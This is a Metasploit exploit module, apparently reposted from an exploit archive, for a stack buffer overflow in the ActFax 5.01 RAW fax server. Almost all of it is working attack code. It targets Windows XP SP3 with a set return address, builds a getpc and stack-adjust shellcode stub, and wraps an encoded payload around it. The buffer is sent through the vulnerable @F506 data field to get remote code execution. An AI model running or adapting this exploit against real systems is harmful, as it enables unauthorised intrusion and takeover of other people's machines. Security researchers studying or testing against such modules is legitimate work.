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ActFax 5.01 RAW Server Buffer Overflow Vulnerability
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'ActFax 5.01 RAW Server Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can be used to transfer fax messages to the fax server without any underlying protocols. To note significant fields in the fax being transfered, like fax number and receipient, you can use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable. For more information refer to the 'data fields' section of the help menu in ActFax. This has been fixed in a beta version which wont be pushed to release until May 2013. Beta is here: http://www.actfax.com/download/beta/actfax_setup_en.exe }, 'License' => MSF_LICENSE, 'Author' => [ 'Craig Freyman @cd1zz', #discovery and msf 'corelanc0d3r', #lots of help with getpc routine => https://www.corelan-training.com/index.php/training/corelan-live ], 'References' => [ [ 'OSVDB', '' ], [ 'CVE', '' ], [ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ] ], 'DefaultOptions' => { 'ExitFunction' => 'none', 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x40", 'DisableNops' => true, 'Space' => 1000, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EBX' } }, 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x775e3422, #ole32.dll v5.1.2600.6168 'Offset' => 1024 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 5 2013', 'DefaultTarget' => 0)) register_options([Opt::RPORT(0)], self.class) end def exploit connect getpc = "\xe8\xff\xff\xff\xff\xc3\x5b" #ebx| call + 4: add_ebx = "\x83\xc3\x20" #add ebx,32 fill = "\x4b" * 5 #inc ebx 5 times fill2 = "\x90" * 17 stack_adjust = "\x81\xc4\x24\xfa\xff\xff" #add esp,-1500 shell_chunk1 = payload.encoded[0,522] shell_chunk2 = payload.encoded[522,payload.encoded.length-522] buffer = "" buffer << shell_chunk2 buffer << rand_text_alpha(target['Offset']-buffer.length) buffer << [target.ret].pack('V') buffer << stack_adjust buffer << getpc buffer << add_ebx buffer << fill buffer << fill2 buffer << shell_chunk1 print_status("Trying target #{target.name}...") sock.put("@F506 "+buffer+"@\r\npwnag3\r\n\r\n") handler disconnect end end # 0day.today [2024-12-25] #